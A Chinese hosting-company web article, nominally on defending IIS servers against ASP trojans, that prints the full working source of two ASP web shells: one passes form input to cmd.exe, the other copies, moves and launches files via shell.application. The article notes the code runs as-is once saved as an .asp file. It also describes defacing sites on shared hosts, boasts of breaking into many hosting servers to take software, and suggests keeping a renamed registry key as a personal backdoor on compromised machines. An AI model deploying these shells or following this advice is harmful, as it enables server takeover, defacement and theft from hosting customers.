 |
网站建设 |
 |
 |
最新客户 |
 |
 |
网站推广 |
 |
 |
推广知识 |
 |
|
 |
建站技术知识 |
 |
|
|
|
|
服务器如何防范asp木马
|
随着ASP 技术的发展,网络上基于ASP技术开发的网站越来越多,对ASP技术的支持可以说已经是windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门,也越来越多,而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能,所以这种ASP脚本的木马后门,不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性,对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除,为我们的网管人员提出了更高的技术要求。下面我结合个人的经验,谈一下对两款比较典型的ASP 木马的防范方法,希望对大家能够有所帮助。以下是第一款木马的代码:<title>ASP Shell</title> <%@ Language=VBScript %><%Dim oScriptDim oScriptNetDim oFileSys, oFileDim szCMD, szTempFileOn Error Resume Next-- create the COM objects that we will be using -- Set oScript = Server.CreateObject(WSCRIPT.SHELL)Set oScriptNet = Server.CreateObject(WSCRIPT.NETWORK)Set oFileSys = Server.CreateObject(Scripting.FileSystemObject)-- check for a command that we have posted -- szCMD = Request.Form(.CMD)If (szCMD <> ) Then-- Use a poor mans pipe ... a temp file -- szTempFile = C: & oFileSys.GetTempName( )Call oScript.Run (cmd.exe /c & szCMD & > & szTempFile, 0, True)Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)End If%><HTML><BODY><FORM action=<%= Request.ServerVariables(URL) %> method=POST><input type=text name=.CMD size=45 value=<%= szCMD %>><input type=submit value=执行命令></FORM><PRE><%If (IsObject(oFile)) Then-- Read the output from our command and remove the temp file -- On Error Resume NextResponse.Write Server.HTMLEncode(oFile.ReadAll)oFile.CloseCall oFileSys.DeleteFile(szTempFile, True)End If%></BODY></HTML>运行后如下图: 在命令行里输入DIR命令点执行就可以查看目录了!!它可以使用各种DOS命令,如:copy、net、netstat等。但是它的默认执行权限只有GUEST,也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组,那么你就有管理员权限了。这一款木马的特点是,使用很方便。几乎就想当于DOS命令行窗口xx作一样。但是如果服务器限制了FSO(无组件上传),那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认 Web 站点”里使用,所以它相对的适用范围较窄。对于防范方法让我们看一下它的代码就知道了:Set oScript = Server.CreateObject(WSCRIPT.SHELL) "建立了一个名为oScript的WSCRIPT.SHELL对象,用于命令的执行"Set oScriptNet = Server.CreateObject(WSCRIPT.NETWORK)Set oFileSys = Server.CreateObject(Scripting.FileSystemObject) 上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象,我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图:值得注意的是:我们应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要改名或删除。因为如我们只修改“WSCRIPT.SHELL”项的话。那么黑客们只要把代码修改如下:Set oScript = Server.CreateObject(WSCRIPT.SHELL.1) 这个后门木马就又可以执行了。大家可能已经想到了,我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时,一定要不容易被黑客们猜到,因为例如:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成:Set oScript = Server.CreateObject(WSCRIPT.SHELL888),木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务,设置才会有效。接下来让我们再来看下一款ASP后门木马程序的代码:<%response.write <font size=6 color=red>一次只能执行一个xx作</font> %> <%response.write now()%><BR>程序所在的物理路径: <%response.write request.servervariables(APPL_PHYSICAL_PATH)%> <html> <title>asps shell.application backdoor </title> <body> <form action=<%= Request.ServerVariables(URL) %> method=POST> <input type=text name=text value=<%=szCMD %>> 输入要浏览的目录<br> <input type=text name=text1 value=<%=szCMD1 %>> copy <input type=text name=text2 value=<%=szCMD2 %>><br> <input type=text name=text3 value=<%=szCMD3 %>> move <input type=text name=text4 value=<%=szCMD4 %>><br> 路径:<input type=text name=text5 value=<%=szCMD5 %>> 程序:<input type=text name=text6 value=<%=szCMD6 %>><br> <input type=submit name=sb value=发送命令> </form> </body> </html> <% szCMD = Request.Form(text) 目录浏览 if (szCMD <> ) then set shell=server.createobject(shell.application) 建立shell对象 set fod1=shell.namespace(szcmd) set foditems=fod1.items for each co in foditems response.write <font color=red> & co.path & ----- & co.size & </font><br> next end if %> <% szCMD1 = Request.Form(text1) 目录拷贝,不能进行文件拷贝 szCMD2 = Request.Form(text2) if szcmd1<> and szcmd2<> then set shell1=server.createobject(shell.application) 建立shell对象 set fod1=shell1.namespace(szcmd2) for i=len(szcmd1) to 1 step -1 if mid(szcmd1,i,1)= then path=left(szcmd1,i-1) exit for end if next if len(path)=2 then path=path & path2=right(szcmd1,len(szcmd1)-i) set fod2=shell1.namespace(path) set foditem=fod2.parsename(path2) fod1.copyhere foditem response.write command completed success! end if %> <% szCMD3 = Request.Form(text3) 目录移动 szCMD4 = Request.Form(text4) if szcmd3<> and szcmd4<> then set shell2=server.createobject(shell.application) 建立shell对象 set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1 if mid(szcmd3,i,1)= then path=left(szcmd3,i-1) exit for end if next if len(path)=2 then path=path & path2=right(szcmd3,len(szcmd3)-i) set fod2=shell2.namespace(path) set foditem=fod2.parsename(path2) fod1.movehere foditem response.write command completed success! end if %> <% szCMD5 = Request.Form(text5) 执行程序要指定路径 szCMD6 = Request.Form(text6) if szcmd5<> and szcmd6<> then set shell3=server.createobject(shell.application) 建立shell对象 shell3.namespace(szcmd5).items.item(szcmd6).invokeverb response.write command completed success! end if %>要查看目录,只要输入相应的目录,点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE,和执行程序。但很多命令都不能用,例如:del、net、netstat等。这个木马程的功能随然简单,但是用它来黑一个网站是足够了。比如,我们可以把网站的首页MOVE到其它地方,然后我们再COPY一个同名的黑客网页进去,就行了。最要命的是这个木马适用于任何虚拟主机之中,也就是说我只要是服务器中的一个虚拟空间的用户,我就可以传这个木马上去,并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话,那真是死定了。然而在我的实践中发现,中国很多的虚拟空间服务商,特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN,然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来,太难听了,应该说DOWN下来的才对。言归正传,我们应该怎样来防范这个ASP后门木马程序呢?让我们看一下它其中的这一句代码:set shell=server.createobject(shell.application),跟刚才的方法一样,我们只要把shell.application项和shell.application.1项改名或删除就可以了。记住了,如果是改名,要改得复杂一点,不要让黑客们一下就猜到了。顺便说一句,如果是你给肉鸡打补丁最好是改名,并把名字记下来,这样也就成为自己一个隐密的后门了。最后对这两款ASP木马后门,以及如何防范ASP木马后门做一下总结:第一款木马功能上强大一些, 但适用范围窄,需要FSO支持也就是Scripting.FileSystemObject项的支持。第二款木马虽然功能上少一些,但它创建的是shell.application对象。在任何虚拟主机中都适用。(这一点危害确实太大了,提供支持ASP空间的管理员们,你们可得注意了!)其实跟据对上面两款ASP木马后门的防范,大家可能已经想到了,对于ASP后门木马的防范,我们只要在注册表中把shell.application、WSCRIPT.SHELL等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对“脚本SHELL”的创建,ASP木马也就成为无本之木、无米之炊,运行不起来了。注:以上代码复制保存为ASP文件就可以直接使用了。
来源:
|
|
|
|
|
|
|
|
 |
|
 |
在线咨询 |
 |
 |
建站服务 |
 |
经济型网站设计套餐 ¥2580 |
企业型网站设计套餐 ¥3980 |
豪华型网站设计套餐 ¥6580 |
商城型网站设计套餐 ¥7580 |
定制型网站设计套餐 ¥面 谈 |
智赢型ABC ¥1580/1980 |
|
|
|
 |
 |
虚拟主机 |
 |
普及型(电信)350元/年 |
经济型(电信)650元/年
|
普及A型(双线)500元/年 |
普及B型(双线)900元/年 |
外贸型(国外) 550元/年
|
企业型(国外) 1050元/年 |
我要订购主机>> |
|
 |
 |
域名注册 |
 |
国际顶级域名.com 100元/年 |
国际顶级域名.net 100元/年 |
国际顶级域名.cc 380元/年 |
国际顶级域名.org 180元/年 |
中国顶级域名.cn 100元/年 |
中国顶级域名.com.cn 100元/年 |
中文域名.中国.公司 280元/年 |
我要注册域>> |
|
 |
|